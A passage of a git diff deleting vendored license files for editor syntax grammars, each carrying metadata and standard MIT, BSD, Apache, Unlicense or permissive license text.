-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "{}"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-   Copyright 2012-2014 Brandon Holt
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
diff --git a/vendor/licenses/grammar/cmake.tmbundle.txt b/vendor/licenses/grammar/cmake.tmbundle.txt
deleted file mode 100644
index c3a9069e2d..0000000000
--- a/vendor/licenses/grammar/cmake.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: cmake.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/cool-tmbundle.txt b/vendor/licenses/grammar/cool-tmbundle.txt
deleted file mode 100644
index b375c632c4..0000000000
--- a/vendor/licenses/grammar/cool-tmbundle.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: cool-tmbundle
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2014 Anunay Kulshrestha
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
\ No newline at end of file
diff --git a/vendor/licenses/grammar/cpp-qt.tmbundle.txt b/vendor/licenses/grammar/cpp-qt.tmbundle.txt
deleted file mode 100644
index a54f456798..0000000000
--- a/vendor/licenses/grammar/cpp-qt.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: cpp-qt.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/creole.txt b/vendor/licenses/grammar/creole.txt
deleted file mode 100644
index 0fc5ef947c..0000000000
--- a/vendor/licenses/grammar/creole.txt
+++ /dev/null
@@ -1,19 +0,0 @@
----
-type: grammar
-name: creole
-license: mit
----
-The MIT License (MIT)
-Copyright (c) 2012 Siddley
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files 
-(the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, 
-publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, 
-subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE 
-FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION 
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/licenses/grammar/css.tmbundle.txt b/vendor/licenses/grammar/css.tmbundle.txt
deleted file mode 100644
index 8a2a765f1b..0000000000
--- a/vendor/licenses/grammar/css.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: css.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/cucumber-tmbundle.txt b/vendor/licenses/grammar/cucumber-tmbundle.txt
deleted file mode 100644
index 2eb60b0301..0000000000
--- a/vendor/licenses/grammar/cucumber-tmbundle.txt
+++ /dev/null
@@ -1,24 +0,0 @@
----
-type: grammar
-name: cucumber-tmbundle
-license: mit
----
-Copyright (c) 2008-2009 Ben Mabey
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
diff --git a/vendor/licenses/grammar/d.tmbundle.txt b/vendor/licenses/grammar/d.tmbundle.txt
deleted file mode 100644
index bb8c7e5e3a..0000000000
--- a/vendor/licenses/grammar/d.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: d.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/dart-sublime-bundle.txt b/vendor/licenses/grammar/dart-sublime-bundle.txt
deleted file mode 100644
index d967c7d815..0000000000
--- a/vendor/licenses/grammar/dart-sublime-bundle.txt
+++ /dev/null
@@ -1,29 +0,0 @@
----
-type: grammar
-name: dart-sublime-bundle
-license: bsd-3-clause
----
-Copyright (c) 2014, Guillermo López-Anglada. All rights reserved.
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are
-met:
-    * Redistributions of source code must retain the above copyright
-      notice, this list of conditions and the following disclaimer.
-    * Redistributions in binary form must reproduce the above
-      copyright notice, this list of conditions and the following
-      disclaimer in the documentation and/or other materials provided
-      with the distribution.
-    * Neither the name of this software nor the names of its
-      contributors may be used to endorse or promote products derived
-      from this software without specific prior written permission.
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
-"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
-LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
-A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
-OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
-SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
-LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
-DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
-THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
\ No newline at end of file
diff --git a/vendor/licenses/grammar/desktop.tmbundle.txt b/vendor/licenses/grammar/desktop.tmbundle.txt
deleted file mode 100644
index 46e835af1b..0000000000
--- a/vendor/licenses/grammar/desktop.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: desktop.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/diff.tmbundle.txt b/vendor/licenses/grammar/diff.tmbundle.txt
deleted file mode 100644
index 3d7adde69d..0000000000
--- a/vendor/licenses/grammar/diff.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: diff.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/dylan.tmbundle.txt b/vendor/licenses/grammar/dylan.tmbundle.txt
deleted file mode 100644
index 2cee288089..0000000000
--- a/vendor/licenses/grammar/dylan.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: dylan.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/ebundles.txt b/vendor/licenses/grammar/ebundles.txt
deleted file mode 100644
index eccf457981..0000000000
--- a/vendor/licenses/grammar/ebundles.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: ebundles
-license: mit
-curated: true
----
-If not otherwise specified (see below), files in this repository (located at https://ebundles.googlecode.com/svn/) fall under the MIT License:
-
-    Permission is hereby granted, free of charge, to any person obtaining a copy of
-    this software and associated documentation files (the "Software"), to deal in
-    the Software without restriction, including without limitation the rights to
-    use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
-    the Software, and to permit persons to whom the Software is furnished to do so,
-    subject to the following conditions:
-
-    The above copyright notice and this permission notice shall be included in all
-    copies or substantial portions of the Software.
-
-    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
-    FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
-    COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
-    IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
-    CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/ec.tmbundle.txt b/vendor/licenses/grammar/ec.tmbundle.txt
deleted file mode 100644
index ce40bf41f2..0000000000
--- a/vendor/licenses/grammar/ec.tmbundle.txt
+++ /dev/null
@@ -1,29 +0,0 @@
----
-type: grammar
-name: ec.tmbundle
-license: unlicense
----
-This is free and unencumbered software released into the public domain.
-
-Anyone is free to copy, modify, publish, use, compile, sell, or
-distribute this software, either in source code form or as a compiled
-binary, for any purpose, commercial or non-commercial, and by any
-means.
-
-In jurisdictions that recognize copyright laws, the author or authors
-of this software dedicate any and all copyright interest in the
-software to the public domain. We make this dedication for the benefit
-of the public at large and to the detriment of our heirs and
-successors. We intend this dedication to be an overt act of
-relinquishment in perpetuity of all present and future rights to this
-software under copyright law.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
-IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
-OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
-ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
-OTHER DEALINGS IN THE SOFTWARE.
-
-For more information, please refer to <http://unlicense.org>
diff --git a/vendor/licenses/grammar/eiffel.tmbundle.txt b/vendor/licenses/grammar/eiffel.tmbundle.txt
deleted file mode 100644
index 21ceeb6c90..0000000000
--- a/vendor/licenses/grammar/eiffel.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: eiffel.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/ejs-tmbundle.txt b/vendor/licenses/grammar/ejs-tmbundle.txt
deleted file mode 100644
index 4bf7fe4b15..0000000000
--- a/vendor/licenses/grammar/ejs-tmbundle.txt
+++ /dev/null
@@ -1,8 +0,0 @@
----
-type: grammar
-name: ejs-tmbundle
-license: mit
-curated: true
----
-
-EJS TextMate Bundle is released under the MIT license.
diff --git a/vendor/licenses/grammar/elixir-tmbundle.txt b/vendor/licenses/grammar/elixir-tmbundle.txt
deleted file mode 100644
index e870e0c216..0000000000
--- a/vendor/licenses/grammar/elixir-tmbundle.txt
+++ /dev/null
@@ -1,19 +0,0 @@
----
-type: grammar
-name: elixir-tmbundle
-license: apache-2.0
-curated: true
----
-Copyright 2012 Plataformatec.
-
-  Licensed under the Apache License, Version 2.0 (the "License");
-  you may not use this file except in compliance with the License.
-  You may obtain a copy of the License at
-
-      http://www.apache.org/licenses/LICENSE-2.0
-
-  Unless required by applicable law or agreed to in writing, software
-  distributed under the License is distributed on an "AS IS" BASIS,
-  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  See the License for the specific language governing permissions and
-  limitations under the License.
diff --git a/vendor/licenses/grammar/erlang.tmbundle.txt b/vendor/licenses/grammar/erlang.tmbundle.txt
deleted file mode 100644
index 44631d3d22..0000000000
--- a/vendor/licenses/grammar/erlang.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: erlang.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/factor.txt b/vendor/licenses/grammar/factor.txt
deleted file mode 100644
index 6bea604e31..0000000000
--- a/vendor/licenses/grammar/factor.txt
+++ /dev/null
@@ -1,25 +0,0 @@
----
-type: grammar
-name: factor
-license: bsd-2-clause
----
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are met:
-
-1. Redistributions of source code must retain the above copyright notice,
-   this list of conditions and the following disclaimer.
-
-2. Redistributions in binary form must reproduce the above copyright notice,
-   this list of conditions and the following disclaimer in the documentation
-   and/or other materials provided with the distribution.
-
-THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES,
-INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
-FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
-DEVELOPERS AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
-SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
-PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
-OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
-WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
-OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
-ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/vendor/licenses/grammar/fancy-tmbundle.txt b/vendor/licenses/grammar/fancy-tmbundle.txt
deleted file mode 100644
index 73e458e842..0000000000
--- a/vendor/licenses/grammar/fancy-tmbundle.txt
+++ /dev/null
@@ -1,24 +0,0 @@
----
-type: grammar
-name: fancy-tmbundle
-license: bsd-3-clause
----
-Copyright (c) 2014, Christopher Bertels
-All rights reserved.
-
-Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
-
-    * Redistributions of source code must retain the above copyright notice, this list of conditions and the following
-      disclaimer.
-    * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following
-      disclaimer in the documentation and/or other materials provided with the distribution.
-    * Neither the name of the original authors nor the names of its contributors may be used to endorse or promote
-      products derived from this software without specific prior written permission.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
-INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
-DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
-SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
-SERVICES; LOSS OF USE, DATA, OR PROFITS OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
-WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/vendor/licenses/grammar/fish-tmbundle.txt b/vendor/licenses/grammar/fish-tmbundle.txt
deleted file mode 100644
index 5927510347..0000000000
--- a/vendor/licenses/grammar/fish-tmbundle.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: fish-tmbundle
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2014 Leonard Chin
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/vendor/licenses/grammar/fortran.tmbundle.txt b/vendor/licenses/grammar/fortran.tmbundle.txt
deleted file mode 100644
index ee54cd5f70..0000000000
--- a/vendor/licenses/grammar/fortran.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: fortran.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/gap-tmbundle.txt b/vendor/licenses/grammar/gap-tmbundle.txt
deleted file mode 100644
index 36f715a665..0000000000
--- a/vendor/licenses/grammar/gap-tmbundle.txt
+++ /dev/null
@@ -1,12 +0,0 @@
----
-type: grammar
-name: gap-tmbundle
-license: permissive
-curated: true
----
-If not otherwise specified, files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
diff --git a/vendor/licenses/grammar/gdscript.txt b/vendor/licenses/grammar/gdscript.txt
deleted file mode 100644
